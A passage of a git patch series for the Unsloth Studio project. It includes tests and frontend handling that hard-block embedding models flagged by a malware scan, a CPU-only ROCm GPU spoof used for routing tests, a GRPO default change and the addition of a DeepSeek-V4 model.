+    # The settings scan unions in the ST module dirs read from modules.json; keep it
+    # offline and deterministic for the endpoint tests that use this fixture.
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), saved
+
+
+def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True}
+    )
+    # 403, not the forceable 409, so the client does not offer "save anyway".
+    assert r.status_code == 403
+    assert "model" not in saved  # force must not persist a flagged repo
+
+
+def test_flagged_repo_is_blocked_without_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert r.status_code == 403
+    assert "model" not in saved
+
+
+def test_hard_block_uses_non_forceable_status(client, monkeypatch):
+    # The forceable verification path uses 409; the hard security block must be distinct
+    # (403) so the frontend never routes it into the "save anyway" force flow.
+    c, _saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert blocked.status_code == 403
+
+    # A verification failure (not-an-embedding-model) stays forceable at 409.
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False)
+    import utils.models as _models
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"})
+    assert unverified.status_code == 409
+
+
+def test_llama_backend_skips_the_st_pickle_scan(monkeypatch):
+    # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's
+    # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: True)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+    # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped.
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama path
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch):
+    # auto resolves to sentence-transformers (GPU present) but the embedder fell back to
+    # llama-server at runtime (torch/CUDA load or encode failure), so the process now loads
+    # only inert GGUF. The real _llama_backend_active() must reflect that cached fallback,
+    # so a flagged ST repo with a clean GGUF companion must not be hard-blocked here.
+    import core.rag.embeddings as embeddings
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # Simulate the runtime fallback: the process-wide backend is a LlamaServerBackend even
+    # though the auto resolver would still say sentence-transformers.
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the
+    # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored.
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama fallback
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch):
+    # active_backend_is_llama() reports the ACTUAL built backend when one exists, and defers
+    # to the resolver (fresh-process behavior) when none has been built yet.
+    import core.rag.embeddings as embeddings
+    import core.rag.config as rag_config
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # A cached llama backend wins even when auto would resolve to sentence-transformers.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "auto")
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    assert embeddings.active_backend_is_llama() is True
+
+    # A cached ST backend reports False even when the resolver now picks llama, so its
+    # pickle stays gated (the cached backend, not the resolver, is what actually embeds).
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend())
+    assert embeddings.active_backend_is_llama() is False
+
+    # No cached backend -> the resolver decides, unchanged from before.
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", None)
+    assert embeddings.active_backend_is_llama() is False  # auto -> sentence-transformers
+
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    assert embeddings.active_backend_is_llama() is True  # auto -> llama-server
+
+    # An explicit (non-auto) key is honored verbatim without a cached backend.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "llama-server")
+    assert embeddings.active_backend_is_llama() is True
+
+
+def test_settings_scan_scopes_module_subdirs(monkeypatch):
+    # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a
+    # pickle directly under one blocks; assert those subdirs reach evaluate_file_security.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda *a, **k: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True}
+    )
+    assert r.status_code == 200
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_clean_repo_saves_under_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True})
+    assert r.status_code == 200
+    assert saved.get("model") == "acme/clean-embed"
+
+
+def test_load_sink_refuses_flagged_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    import core.rag.embeddings as embeddings
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._guard_model_security("attacker/malicious-embed")
+
+
+def test_load_sink_allows_clean_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    import core.rag.embeddings as embeddings
+    embeddings._guard_model_security("acme/clean-embed")  # no raise
+
+
+def test_sink_threads_ambient_token_into_scan(monkeypatch):
+    # A gated repo set via env/default has no request token; the guard must feed the
+    # loader's own token to the scan, or it fails open for the repo that still loads.
+    seen = {}
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = (
+        lambda name, token = None: seen.setdefault("subdirs_token", token) or ()
+    )
+    mod.evaluate_file_security = lambda *a, **k: seen.setdefault(
+        "scan_token", k.get("hf_token")
+    ) or _Decision(False)
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: "hf_ambient")
+    embeddings._guard_model_security("acme/gated-embed")
+    assert seen["scan_token"] == "hf_ambient"
+    assert seen["subdirs_token"] == "hf_ambient"
+
+
+def test_sink_scopes_st_module_subdirs_into_scan(monkeypatch):
+    # A flagged pickle directly under a Transformer module dir (0_Transformer/) must
+    # reach the scan as a load root; assert the guard unions the module dirs into
+    # load_subdirs so evaluate_file_security treats such a pickle as root-level.
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda name, token = None: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: None)
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    embeddings._guard_model_security("acme/embed-with-module-dir")
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_st_module_subdirs_reads_local_modules_json(tmp_path, monkeypatch):
+    # The helper must parse each module's non-empty "path" from a local repo's
+    # modules.json and drop the root-level ("") Transformer entry.
+    import json
+    import core.rag.embeddings as embeddings
+
+    (tmp_path / "modules.json").write_text(
+        json.dumps(
+            [
+                {"idx": 0, "name": "0", "path": "0_Transformer", "type": "..."},
+                {"idx": 1, "name": "1", "path": "1_Pooling", "type": "..."},
+                {"idx": 2, "name": "2", "path": "", "type": "..."},
+            ]
+        )
+    )
+    subdirs = embeddings._st_module_subdirs(str(tmp_path), None)
+    assert subdirs == ("0_Transformer", "1_Pooling")
+
+
+def test_st_module_subdirs_swallows_errors(monkeypatch):
+    # Any failure (no modules.json, offline, malformed) returns () so the guard never
+    # bricks the embedder.
+    import huggingface_hub
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _boom)
+    assert embeddings._st_module_subdirs("acme/no-such-repo-xyz", None) == ()
+
+
+def test_security_block_is_not_swallowed_by_llama_fallback(monkeypatch):
+    # The ST encode fallback must re-raise a security block, not swap to llama-server.
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise embeddings.UnsafeEmbeddingModelError("flagged")
+
+    monkeypatch.setattr(embeddings, "_st_encode", _boom)
+    monkeypatch.setattr(
+        embeddings,
+        "_switch_to_llama_fallback",
+        lambda err: pytest.fail("security block must not fall back to llama-server"),
+    )
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._SentenceTransformersBackend().encode(["hi"])
diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py
index db66df8a30..b5f1069f12 100644
--- a/studio/backend/tests/test_security_gate_consistency.py
+++ b/studio/backend/tests/test_security_gate_consistency.py
@@ -99,3 +99,16 @@ def test_malware_and_consent_gates_cover_the_lora_base():
         if runs_gate and not resolves_base:
             offenders.append(f"{rel} runs a load gate but never resolves the LoRA base")
     assert not offenders, "\n".join(offenders)
+
+
+def test_rag_embedding_path_runs_the_malware_gate():
+    """The RAG embedding model is set through /settings and later loaded by
+    SentenceTransformer, which deserializes pickles; both sites must run the malware gate
+    or a flagged repo loads unscanned (bypassing the normal model-load protections)."""
+    offenders = []
+    for rel in ("routes/settings.py", "core/rag/embeddings.py"):
+        if "evaluate_file_security(" not in (_BACKEND / rel).read_text():
+            offenders.append(
+                f"{rel} loads/persists an embedding model without evaluate_file_security"
+            )
+    assert not offenders, "\n".join(offenders)
diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts
index 8b6bc7ee7f..9a61142f73 100644
--- a/studio/frontend/src/features/settings/api/embedding-model.ts
+++ b/studio/frontend/src/features/settings/api/embedding-model.ts
@@ -23,6 +23,10 @@ type ApiEmbeddingModelSettings = {
  * (wrong type, gated repo, or offline). Retry with force to save anyway. */
 export class EmbeddingModelVerificationError extends Error {}
 
+/** 403 from the backend: the repo is flagged unsafe by Hugging Face's security scan.
+ * A hard block; force cannot bypass it, so it must not enter the "save anyway" flow. */
+export class EmbeddingModelBlockedError extends Error {}
+
 function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
   return {
     embeddingModel: settings.embedding_model,
@@ -56,6 +60,11 @@ export async function updateEmbeddingModelSettings(
       force: options?.force ?? false,
     }),
   });
+  if (res.status === 403) {
+    throw new EmbeddingModelBlockedError(
+      await readFastApiError(res, "This model is blocked by a security scan"),
+    );
+  }
   if (res.status === 409) {
     throw new EmbeddingModelVerificationError(
       await readFastApiError(res, "Could not verify the embedding model"),
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 7670aae5fa..8fd70cc1b7 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -42,6 +42,7 @@ import {
   updatePreviewSharing,
 } from "../api/preview-sharing";
 import {
+  EmbeddingModelBlockedError,
   type EmbeddingModelSettings,
   EmbeddingModelVerificationError,
   loadEmbeddingModelSettings,
@@ -410,7 +411,10 @@ export function GeneralTab() {
         description: t("settings.general.rag.reindexWarning"),
       });
     } catch (error) {
-      if (error instanceof EmbeddingModelVerificationError) {
+      // A hard security block cannot be forced; keep the "save anyway" action hidden.
+      if (error instanceof EmbeddingModelBlockedError) {
+        setEmbeddingModelNeedsForce(false);
+      } else if (error instanceof EmbeddingModelVerificationError) {
         setEmbeddingModelNeedsForce(true);
       }
       setEmbeddingModelError(

From d79495dc96cf7c6ab0d60585e232fa381549c14e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 04:41:37 -0700
Subject: [PATCH 233/306] Add RDNA 2/3/4 ROCm routing tests via a CPU-only
 torch spoof (#6935)

* Add RDNA 2/3/4 ROCm routing tests via a CPU-only torch spoof

Introduces tests/_zoo_rocm_spoof.py, the ROCm sibling of _zoo_aggressive_cuda_spoof.py: it reuses the CUDA spoof's torch.cuda no-op machinery and overlays an AMD Radeon identity (torch.version.hip, gcnArchName, capability) for any RDNA 2/3/4 gfx target, so hip code paths run on CPU-only CI with no AMD hardware.

tests/studio/install/test_rocm_rdna_routing.py then asserts unsloth_zoo routes every RDNA arch (gfx1030/1031/1032/1034, gfx1100/1101/1102, gfx1150/1151, gfx1200/1201) correctly: device_type resolves to hip, llama.cpp target resolves to (rocm, gfx), and the per-family ROCm bundle suffix (gfx103X/gfx110X/gfx120X, or self for gfx1150/1151) is picked. The torch-facing checks run in a subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached at import) resolves from a clean process; the pure gfx-family mapping runs in-process. Guarded by importorskip so it runs where torch and unsloth_zoo are installed (the Repo tests CPU job) and skips elsewhere.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/_zoo_rocm_spoof.py                      | 84 +++++++++++++++++++
 .../studio/install/test_rocm_rdna_routing.py  | 84 +++++++++++++++++++
 2 files changed, 168 insertions(+)
 create mode 100644 tests/_zoo_rocm_spoof.py
 create mode 100644 tests/studio/install/test_rocm_rdna_routing.py

diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.py
new file mode 100644
index 0000000000..050191e9d1
--- /dev/null
+++ b/tests/_zoo_rocm_spoof.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""ROCm/RDNA spoof: present torch as an AMD Radeon (RDNA 2/3/4) card on a
+GPU-less host, so hip paths (device_type -> "hip", llama.cpp ROCm bundle) are
+testable in CPU-only CI with no AMD hardware. The ROCm sibling of
+_zoo_aggressive_cuda_spoof.py: it reuses that spoof's torch.cuda no-op machinery
+and overlays the AMD identity (torch.version.hip, gcnArchName, Radeon name).
+Apply BEFORE importing unsloth/unsloth_zoo, since DEVICE_TYPE is cached there.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import os
+import sys
+
+# gfx -> (marketing name, (capability major, minor), torch.version.hip). hip is
+# the ROCm build torch was made against (RDNA2/3 ship 6.x; gfx1102/115x/RDNA4 7.2).
+_PROFILES: dict[str, tuple[str, tuple[int, int], str]] = {
+    "gfx1030": ("AMD Radeon RX 6900 XT", (10, 3), "6.4.43483"),  # RDNA2
+    "gfx1031": ("AMD Radeon RX 6700 XT", (10, 3), "6.4.43483"),
+    "gfx1032": ("AMD Radeon RX 6600", (10, 3), "6.4.43483"),
+    "gfx1034": ("AMD Radeon RX 6400", (10, 3), "6.4.43483"),
+    "gfx1100": ("AMD Radeon RX 7900 XTX", (11, 0), "6.4.43483"),  # RDNA3
+    "gfx1101": ("AMD Radeon RX 7800 XT", (11, 0), "6.4.43483"),
+    "gfx1102": ("AMD Radeon RX 7600", (11, 0), "7.2.1"),
+    "gfx1150": ("AMD Radeon 890M", (11, 5), "7.2.1"),  # RDNA3.5 APU
+    "gfx1151": ("AMD Radeon 8060S", (11, 5), "7.2.1"),
+    "gfx1200": ("AMD Radeon RX 9060 XT", (12, 0), "7.2.1"),  # RDNA4
+    "gfx1201": ("AMD Radeon RX 9070 XT", (12, 0), "7.2.1"),
+}
+
+
+def _cuda_spoof():
+    """Load the sibling CUDA spoof by path (robust to sys.path), so we reuse its
+    torch.cuda machinery instead of duplicating it."""
+    if "_zoo_aggressive_cuda_spoof" in sys.modules:
+        return sys.modules["_zoo_aggressive_cuda_spoof"]
+    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py")
+    spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", path)
+    mod = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(mod)
+    sys.modules["_zoo_aggressive_cuda_spoof"] = mod
+    return mod
+
+
+def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:
+    """Present torch as `gfx`. Re-callable to switch arch (identity is overlaid;
+    the underlying no-op machinery is applied once)."""
+    import torch
+
+    if gfx not in _PROFILES:
+        raise KeyError(f"Unknown gfx {gfx!r}; known: {', '.join(_PROFILES)}")
+    name, cap, hip = _PROFILES[gfx]
+
+    _cuda_spoof().apply()  # is_available/device_count/streams/rng/amp/...
+
+    # Overlay the AMD identity on top of the (NVIDIA-shaped) CUDA spoof.
+    torch.version.hip = hip
+    torch.version.cuda = None
+    torch.cuda.device_count = lambda: device_count
+    torch.cuda.get_device_name = lambda *a, **k: name
+    torch.cuda.get_device_capability = lambda *a, **k: cap
+    torch.cuda.get_arch_list = lambda: [gfx]
+
+    class _Props:
+        pass
+
+    _p = _Props()
+    _p.name = name
+    _p.gcnArchName = f"{gfx}:sramecc-:xnack-"  # ROCm advertises feature flags
+    _p.major, _p.minor = cap
+    _p.total_memory = 16 * 1024**3
+    _p.multi_processor_count = 40
+    _p.warp_size = 32  # RDNA wavefront (CDNA is 64)
+    _p.is_integrated = gfx in ("gfx1150", "gfx1151")
+    _p.is_multi_gpu_board = False
+    torch.cuda.get_device_properties = lambda *a, **k: _p
+
+
+if __name__ == "__main__":
+    apply()
+    import torch
+    print("ROCm spoof applied:", torch.version.hip, torch.cuda.get_device_properties(0).gcnArchName)
diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.py
new file mode 100644
index 0000000000..b4aeafb7e4
--- /dev/null
+++ b/tests/studio/install/test_rocm_rdna_routing.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""RDNA 2/3/4 routing, validated on CPU-only CI with no AMD hardware.
+
+tests/_zoo_rocm_spoof.py presents torch as each Radeon gfx arch, then we assert
+unsloth_zoo routes it: device_type -> "hip", llama.cpp target -> ("rocm", gfx),
+and the per-family ROCm bundle suffix. The torch-facing checks run in a
+subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached
+at import) resolves from a clean process.
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+pytest.importorskip("torch")
+pytest.importorskip("unsloth_zoo")
+
+_TESTS_DIR = Path(__file__).resolve().parents[2]  # tests/
+
+# gfx -> (expected llama.cpp target, expected ROCm bundle family).
+_ARCHES = {
+    "gfx1030": (("rocm", "gfx1030"), "gfx103X"),  # RDNA2
+    "gfx1031": (("rocm", "gfx1031"), "gfx103X"),
+    "gfx1032": (("rocm", "gfx1032"), "gfx103X"),
+    "gfx1034": (("rocm", "gfx1034"), "gfx103X"),
+    "gfx1100": (("rocm", "gfx1100"), "gfx110X"),  # RDNA3
+    "gfx1101": (("rocm", "gfx1101"), "gfx110X"),
+    "gfx1102": (("rocm", "gfx1102"), "gfx110X"),
+    "gfx1150": (("rocm", "gfx1150"), "gfx1150"),  # RDNA3.5 APU (self-family)
+    "gfx1151": (("rocm", "gfx1151"), "gfx1151"),
+    "gfx1200": (("rocm", "gfx1200"), "gfx120X"),  # RDNA4
+    "gfx1201": (("rocm", "gfx1201"), "gfx120X"),
+}
+
+# Child: spoof each arch, then record device_type once (fresh import) and the
+# live llama.cpp target per arch. Emits one JSON line the parent parses.
+_CHILD = """
+import json, sys
+sys.path.insert(0, {tests!r})
+import _zoo_rocm_spoof as spoof
+arches = {arches!r}
+spoof.apply(arches[0])
+from unsloth_zoo.device_type import get_device_type, is_hip
+device_type = [get_device_type(), is_hip()]
+from unsloth_zoo import llama_cpp as lc
+targets = {{}}
+for gfx in arches:
+    spoof.apply(gfx)
+    targets[gfx] = list(lc._detect_gpu_target())
+print("RESULT " + json.dumps({{"device_type": device_type, "targets": targets}}))
+"""
+
+
+@pytest.fixture(scope = "module")
+def routed():
+    code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))
+    proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True)
+    line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)
+    assert line, f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    return json.loads(line[len("RESULT ") :])
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_detect_gpu_target(routed, gfx):
+    # RDNA card is routed to its ROCm gfx target (drives the llama.cpp bundle).
+    assert tuple(routed["targets"][gfx]) == _ARCHES[gfx][0]
+
+
+def test_device_type_is_hip(routed):
+    # An RDNA card must resolve the compute device_type to "hip".
+    assert routed["device_type"] == ["hip", True]
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_rocm_gfx_family(gfx):
+    # Pure mapping (no torch): each gfx picks the right per-family ROCm bundle.
+    from unsloth_zoo import llama_cpp as lc
+    assert lc._rocm_gfx_family(gfx) == _ARCHES[gfx][1]

From 59977f95c318c1ba81b53c5b50d4a0ef9c342fea Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 05:49:24 -0700
Subject: [PATCH 234/306] GRPO: default router_aux_loss_coef to 0 on TRL >=
 1.7.0 (#6938)

TRL 1.7.0 enables the MoE router load-balancing aux loss by default
(router_aux_loss_coef = 0.001). Unsloth's optimized GRPO forward does not
compute it, so default the coefficient to 0, matching pre-1.7.0 behaviour.
Users can still opt in with router_aux_loss_coef > 0. No-op on TRL < 1.7.0.
---
 unsloth/models/rl.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 62ef9e916a..b5cadf2dea 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -1370,6 +1370,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             # [TODO] See https://fengyao.notion.site/off-policy-rl
             # https://github.com/huggingface/trl/pull/3867 (August 7th)
             "vllm_importance_sampling_correction": False,
+            # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001); the optimized
+            # GRPO forward does not compute it, so default off. Opt in via router_aux_loss_coef > 0.
+            "router_aux_loss_coef": 0.0,
         }
         for k, v in replacements.items():
             x = f"{k}( = [^,\n]{{1,}})?,\n"

From 411c4d1e50362c0fe6c27d4eea0c29171f79a27a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 06:13:43 -0700
Subject: [PATCH 235/306] Add DeepSeek-V4-Flash-GGUF to Studio with
 none/high/max reasoning (#6908)

* Add DeepSeek-V4-Flash-GGUF to Studio with none/high/max reasoning

Adds unsloth/DeepSeek-V4-Flash-GGUF as a default selectable model with the
recommended decoding defaults (temperature 1.0, top_p 1.0 from the official
generation_config.json) and its three tier reasoning control. The high/max
ladder is surfaced for deepseek-v4 model ids and flows through the existing
enable_thinking_effort reasoning style via chat_template_kwargs, so no
frontend changes are needed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio DeepSeek-V4: segment-scope high, enable thinking for lone effort, render tests

Match deepseek-v4 on whole repo-name segments so a future deepseek-v40 or
deepseek40 cannot false-match the synthetic 'high'. In _request_reasoning_kwargs,
emit enable_thinking when a named effort level is sent without it, so the
newly exposed High mode renders thinking-on over the API (the UI already sent
it explicitly). Add a none/high/max render-path test file (jinja behind
importorskip) with a lone-high regression.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../assets/configs/inference_defaults.json    |   9 +-
 studio/backend/core/inference/defaults.py     |   2 +
 studio/backend/core/inference/llama_cpp.py    |  18 +-
 .../tests/test_deepseek_v4_thinking_effort.py | 181 ++++++++++++++++++
 .../test_safetensors_capability_advertise.py  |  38 ++++
 5 files changed, 245 insertions(+), 3 deletions(-)
 create mode 100644 studio/backend/tests/test_deepseek_v4_thinking_effort.py

diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json
index 1c7a409bc1..0633f80bbc 100644
--- a/studio/backend/assets/configs/inference_defaults.json
+++ b/studio/backend/assets/configs/inference_defaults.json
@@ -235,6 +235,13 @@
       "min_p": 0.1,
       "repetition_penalty": 1.0
     },
+    "deepseek-v4": {
+      "temperature": 1.0,
+      "top_p": 1.0,
+      "top_k": -1,
+      "min_p": 0.0,
+      "repetition_penalty": 1.0
+    },
     "deepseek-r1": {
       "temperature": 0.6,
       "top_p": 0.95,
@@ -394,7 +401,7 @@
     "phi-4", "phi-3",
     "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
     "devstral", "pixtral",
-    "deepseek-r1", "deepseek-v3", "deepseek-ocr",
